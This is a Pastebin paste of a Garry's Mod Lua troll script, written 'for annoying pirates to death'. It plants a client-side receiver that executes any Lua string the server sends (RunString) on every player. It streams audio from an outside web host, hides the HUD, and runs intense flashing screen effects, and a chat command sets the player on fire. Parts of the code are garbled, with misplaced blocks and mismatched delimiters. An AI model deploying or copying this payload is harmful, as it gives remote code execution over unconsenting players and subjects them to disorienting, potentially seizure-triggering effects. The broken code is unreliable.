SHARE
TWEET

idk

a guest Jul 10th, 2019 91 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3
  2. --[[
  3.     File: ?.lua
  4.     For: Annoying pirates to death, then annoying them some more until they die a second time
  5.     By: Ultra
  6. ]]--
  7.  
  8. util.AddNetworkString "slua"
  9.  
  10. local lol = {}
  11. function lol:RandomString( intMin, intMax )
  12.     local ret = ""
  13.     for _ = 1, math.random( intMin, intMax ) do
  14.         ret = ret.. string.char( math.random(65, 90) )
  15.     end
  16.  
  17.     return ret
  18. end
  19.  
  20. lol.m_tblActions = {}
  21. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  22. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  23.  
  24. function lol:PushAction( intChainDelay, func )
  25.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  26. end
  27.  
  28. function lol:NextAction( pPlayer )
  29.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  30.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  31.  
  32.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  33.         if not IsValid( pPlayer ) then return end
  34.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  35.         self:NextAction( pPlayer )
  36.     end )
  37. end
  38.  
  39. function lol:Start( pPlayer )
  40.     pPlayer.m_intCurAction = 0
  41.     self:NextAction( pPlayer )
  42. end
  43.  
  44. function lol:SendLua( pPlayer, strLua )
  45.     net.Start( "slua" )
  46.         net.WriteString( strLua )
  47.     net.Send( pPlayer )
  48. end
  49.  
  50. function lol:SetupPlayer( pPlayer )
  51.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  52. end
  53.  
  54. for k, v in pairs( player.GetAll() ) do
  55.     lol:SetupPlayer( v )
  56.     timer.Simple( 2, function() lol:Start( v ) end )
  57. end
  58.  
  59. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  60.     lol:SetupPlayer( pPlayer )
  61.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  62. end )
  63.  
  64. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  65.     if strText:sub( 1, 5 ) == "/1337" then
  66.         pSender:Ignite( 1e9 )
  67.         pSender:ChatPrint( "lol jk" )
  68.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  69.         return false
  70.     end
  71. end )
  72.  
  73.  
  74.  
  75. --Sequence stack
  76. --Start some tunes and steam in our assets
  77. lol:PushAction( 0, function( pPlayer )
  78.     lol:SendLua( pPlayer, ([=[
  79.         sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3", "", function()end )
  80.        
  81.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  82.         local html = [[%s]]
  83.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  84.             local pnl = vgui.Create( "HTML" )
  85.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  86.             pnl:SetVisible( true )
  87.             pnl:SetMouseInputEnabled( false )
  88.             pnl:SetKeyBoardInputEnabled( false )
  89.             pnl:SetSize( intSizeX, intSizeY )
  90.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  91.            
  92.             local PageLoaded
  93.             PageLoaded = function()
  94.                 local mat = pnl:GetHTMLMaterial()
  95.                 if mat then
  96.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  97.                     return
  98.                 end
  99.                
  100.                 timer.Simple( 0.5, PageLoaded )
  101.             end
  102.  
  103.             PageLoaded()
  104.         end
  105.  
  106.  
  107.  
  108.             draw.SimpleTextOutlined(
  109.                 "Party Time By UG | M A S T E R",
  110.                 "DermaSmall",
  111.                 ScrW() /2 +math.random( -8, 8 ),
  112.                 ScrH() /2 +math.random( -8, 8 ) +64,
  113.                 Color( 255, 0, 0, 255 ),
  114.                 TEXT_ALIGN_CENTER,
  115.                 TEXT_ALIGN_CENTER,
  116.                 1,
  117.                 Color( 0, 0, 255, 255 )
  118.             )
  119.         end )
  120.  
  121.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  122.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  123.  
  124.         surface.PlaySound( "garrysmod/save_load4.wav" )
  125.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  126.     ]] )
  127. end )
  128.  
  129. --Disco time
  130. lol:PushAction( 10, function( pPlayer )
  131.     local idx = pPlayer:EntIndex()
  132.     timer.Create( "beat".. idx, 0.42, 0, function()
  133.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  134.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  135.     end )
  136.  
  137.  
  138.     lol:SendLua( pPlayer, [[
  139.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  140.         local time = 0
  141.  
  142.         hook.Add( "Think", "wat", function()
  143.             if CurTime() < time then
  144.                 return
  145.             end
  146.  
  147.             time = CurTime() +0.05
  148.             for i = 1, 16 do
  149.                 local part = emitter:Add(
  150.                     "particles/balloon_bit",
  151.                     LocalPlayer():GetPos() +Vector(
  152.                         math.random( -256, 256 ),
  153.                         math.random( -256, 256 ),
  154.                         256
  155.                     )
  156.                 )
  157.                
  158.                 if part then
  159.                     local Size = math.random( 4, 7 )
  160.                    
  161.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  162.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  163.                     part:SetDieTime( 4.5 )
  164.                     part:SetGravity( Vector(40, 0, -250) )
  165.                     part:SetLifeTime( 0 )
  166.                     part:SetStartSize( Size /2 )
  167.                     part:SetEndSize( Size )
  168.                     part:SetCollide( true )
  169.                 end
  170.             end
  171.         end )
  172.     ]] )
  173.  
  174.     lol:SendLua( pPlayer, [[
  175.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  176.             local sinScaler = math.sin( CurTime() )
  177.             DrawBloom(
  178.                 0,
  179.                 3,
  180.                 sinScaler *math.Rand(1, 8),
  181.                 sinScaler *math.Rand(1, 8),
  182.                 6,
  183.                 math.Rand(0.5, 2),
  184.                 math.Rand(0, 0.3),
  185.                 math.Rand(0, 0.3),
  186.                 math.Rand(0.5, 1)
  187.             )
  188.  
  189.             DrawColorModify{
  190.                 ["$pp_colour_addr"] = 0,
  191.                 ["$pp_colour_addg"] = 0,
  192.                 ["$pp_colour_addb"] = 00,
  193.                 ["$pp_colour_brightness" ] = 0,
  194.                 ["$pp_colour_contrast" ] = 1,
  195.                 ["$pp_colour_colour" ] = 1,
  196.                 ["$pp_colour_mulr" ] = 0,
  197.                 ["$pp_colour_mulg" ] = 0,
  198.                 ["$pp_colour_mulb" ] = 1
  199.             }
  200.         end )
  201.  
  202.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  203.         mdl:SetNoDraw( true )
  204.         local posCache, time = {}, 0
  205.  
  206.         hook.Add( "HUDPaint", "dance", function()
  207.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  208.                 local idx = mdl:LookupSequence("taunt_dance")
  209.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  210.                 mdl.SeqStart = CurTime()
  211.                 mdl:ResetSequence( idx )
  212.             end
  213.  
  214.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  215.  
  216.            
  217.             local w, h = 300, 300
  218.             local ang = Angle( 0, 0, 0 )
  219.  
  220.             for i = 1, 32 do
  221.                 if CurTime() > time then
  222.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  223.                 end
  224.                 local x, y = posCache[i][1], posCache[i][2]
  225.  
  226.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  227.                     cam.IgnoreZ( true )
  228.                     render.SuppressEngineLighting( true )
  229.                    
  230.                     render.SetLightingOrigin( mdl:GetPos() )
  231.                     render.ResetModelLighting( 1, 1, 1 )
  232.                     render.SetColorModulation( 0, 0, 1 )
  233.  
  234.                     mdl:DrawModel()
  235.                    
  236.                     render.SuppressEngineLighting( false )
  237.                     cam.IgnoreZ( false )
  238.                 cam.End3D()
  239.             end
  240.  
  241.             if CurTime() > time then
  242.                 time = CurTime() +0.15
  243.             end
  244.         end )
  245.  
  246.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  247.     ]] )
  248. end )
  249.  
  250. --Let the beat drop
  251. lol:PushAction( 54, function( pPlayer )
  252.     lol:SendLua( pPlayer, [[
  253.         hook.Add( "GetMotionBlurValues", "wat", function()
  254.             return 0, 0, 1, math.sin(CurTime() *13)
  255.         end )
  256.  
  257.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  258.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  259.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  260.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  261.         end )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top